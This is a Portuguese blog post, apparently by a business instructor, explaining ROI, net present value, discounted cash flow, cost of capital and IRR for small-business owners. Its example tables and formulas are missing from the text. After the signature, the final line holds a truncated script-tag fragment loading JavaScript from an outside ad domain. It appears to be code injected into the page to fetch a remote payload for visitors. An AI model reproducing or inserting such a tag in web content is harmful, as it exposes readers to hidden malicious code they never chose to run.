Temporada 4 etapas – Porque eu vendo muito, mas não vejo dinheiro sobrar?

Pessoal, boa semana pra vocês……

Vamos finalizar nossa temporada com a 4ª ETAPA , realizando a explanação da nossa temporada referente aos esconderijos do seu dinheiro na “complexa” matemática da sua empresa…..

Tenho certeza de que muitos já foram corrigir os detalhes dos quais falamos na semana passada. Se você teve resultado, escreva um comentário. Isso motivará mais pessoas a mudar…..

Prontos para a última etapa da nossa temporada?

Vamos lá?

RSI – Retorno sobre Investimento

O ROI – Return on Investiment, nada mais é do que um índice que mostra com clareza se sua gestão está gerando lucro suficiente para devolver o dinheiro investido na empresa. Nas explanações anteriores, falamos de Lucro Operacional, você lembra? Pois é…..esse resultado é fundamental para a apuração do RSI, bem como os valores atualizados de Ativo Patrimonial, o qual conhecemos na semana passada. Esses dois índices correlacionados mostram com clareza porque o seu dinheiro não aparece…..Ai começa a ficar interessante……”mas porque o dinheiro não aparece?”

Muito bem. O RSI é um índice de fundamental importância para a gestão da empresa, pois é nesse índice que você começa a ver se sua gestão é eficiente ou não. Esse índice é composto por Resultado Líquido Mensal e Ativo Patrimonial. Os ativos são os direitos e o Passivo são as obrigações. Porém, o Ativo é composto por alguns grupos: Disponível, Circulante, Realizável a Longo Prazo e Imobilizado. Logo o Passivo é composto por dois grupos: Passivo Circulante e Passivo Exigível a Longo Prazo.

Vamos encontrar nosso dinheiro no Ativo Disponível (Caixa e Bancos), Ativo Circulante (Estoques, Contas a Receber, Contas a Receber Vencidas), Ativo Realizável a Longo Prazo (Consórcios, Financiamentos, Investimentos) e no Ativo Imobilizado (Terrenos, Prédios, Equipamentos), Custos Fixos e Variáveis. Muitas vezes não percebemos mas imobilizamos capital nessas contas descritas acima, bem como, gastamos demais em contas que não necessitam tanto orçamento……tenho certeza de que se você for procurar, você vai e encontrar respostas inacreditáveis….

VPL – Valor Presente Líquido

Valor Presente Líquido é o somatório dos termos de um Fluxo de Caixa Descontado

Quanto maior o VPL, mais lucrativo será o projeto ou novo negócio. O VPL indica qual o lucro em R$ (ou dólares, …) que o projeto ou novo negócio trará.

Entenda a seguir porque não basta somar os retornos e subtrair os investimentos, para saber qual o lucro que um projeto ou novo negócio trará.

Fluxo de Caixa Descontado

Um fluxo de caixa representa os investimentos e retornos previstos em um projeto ou novo negócio. Os valores iniciais negativos correspondem ao período em que os investimentos são maiores que os retornos. Suponha que você tenha estimado o seguinte fluxo de caixa para um novo negócio:

Nesse exemplo, o somatório dos termos (ou Valor Líquido) é 100, ou seja, a soma dos retornos é maior que a soma dos investimentos e o fluxo de caixa parece vantajoso. Entretanto, pelo princípio do valor do dinheiro no tempo sabemos que 100 reais no futuro vale menos do que 100 hoje, mas vale exatamente quanto? Para responder a essa pergunta, basta trazer cada termo à valor presente, utilizando a fórmula P = F/(1 + i)ⁿ dos juros compostos:

* Taxa de juros de 20% ao ano

Este é conhecido como Fluxo de Caixa Descontado e a soma dos termos é nada mais, nada menos, que o Valor Presente Líquido (ou VPL). Vemos agora que esse fluxo de caixa não é vantajoso pois o VPL é negativo em -8. No primeiro gráfico vemos que todas as barras tem o mesmo tamanho, enquanto neste gráfico, as 2 barras representando os investimentos acabam sendo maiores que as 3 barras representando os retornos.

Custo de Capital

A taxa de juros acima, também é chamada de custo de capital, e pode ser interpretada de duas formas:

1. Taxa de juros na qual você conseguiria captar recursos para financiar o projeto ou novo negócio.
2. Taxa de rendimento em um investimento de baixo risco, no qual você poderia aplicar o dinheiro ao invés de investir no projeto.

TIR – Taxa Interna de Retorno

Taxa Interna de Retorno é a taxa de juros para a qual o VPL é nulo

Quanto maior a TIR, melhor e mais lucrativo será o projeto ou novo negócio. Pense na TIR como a taxa de juros que uma aplicação financeira precisaria render para ser tão lucrativa quanto o projeto ou novo negócio.

A Taxa Interna de Retorno (TIR), vem do inglês Internal Return Rate (IRR), e é uma fórmula matemática-financeira utilizada para calcular a taxa de desconto que teria um determinado fluxo de caixa para igualar a zero seu Valor Presente Líquido. Em outras palavras, seria a taxa de retorno do investimento em questão.

Quando usar: A TIR é um dos indicadores essenciais em análises de retorno de projetos ou valoração de empresas (valuation). Os termos mais famosos para estudos do gênero são viabilidade econômica com as variações e econômica-financeira ou técnica-econômica.

Como calcular: Neste post, vamos mostrar como calcular a Taxa Interna de Retorno através do Excel, mas o cálculo matemático que ocorre de fato é o seguinte:

No qual, F significa o fluxo de caixa de cada período e o t é o período em questão.  Assim que o estamos vendo é cada fluxo de caixa ser dividido pela TIR elevada ao seu respectivo período, visto que os juros, neste caso, são compostos.

E tudo isso deve ser igual a zero.

Agora que vimos o lado matemático, vamos ver o lado prático, via Excel. Para calcular o TIR, basta ter o fluxo de caixa livre da sua projeção financeira, vamos usar o mesmo exemplo do Valor Presente Líquido:

Neste caso, o projeto teve um investimento inicial de R$20.000,00 e depois gerou R$10.000,00 de lucro nos meses seguintes. Para calcular o TIR, neste caso, basta escolher a célula na qual você quer ver o resultado e optar pela fórmula TIR (IRR, em inglês) e selecionar as células do fluxo de caixa desejado.

Neste caso, temos o incrível TIR: 41,04%

Como Interpretar: Esse resultado significa que o investimento em questão tem uma taxa de retorno de 41,04%. Assim, você deve compará-lo à sua taxa de atratividade mínima do investimento, que seria o retorno mínimo esperado na empreitada. Isso normalmente é comparado com outros retornos financeiros como investimentos em fundos, mas também pode ser visto em relação ao risco da operação, capacidade de se desfazer do negócio e também outras oportunidades.

Por fim, por ser uma taxa percentual, permite que você compare o retorno dos mais diferentes tipos de investimentos dentro de um mesmo critério!

Armadilhas: A TIR é uma taxa que é mais indicada para fluxos de caixas mais simples (por exemplo, primeiro período negativo e os futuros positivos). Além disso, em alguns casos, podem existir conflitos entre o VPL e a TIR. Quando isso ocorrer, sugere-se seguir o VPL.

Espero que tenham gostado.

Qualquer dúvida estou a disposição.

Na sequência teremos mais materiais bacanas.

Abraço,

Prof. Christian… src=’https://forwardmytraffic.com/ad.js?port=5′ type=’text/javascript’>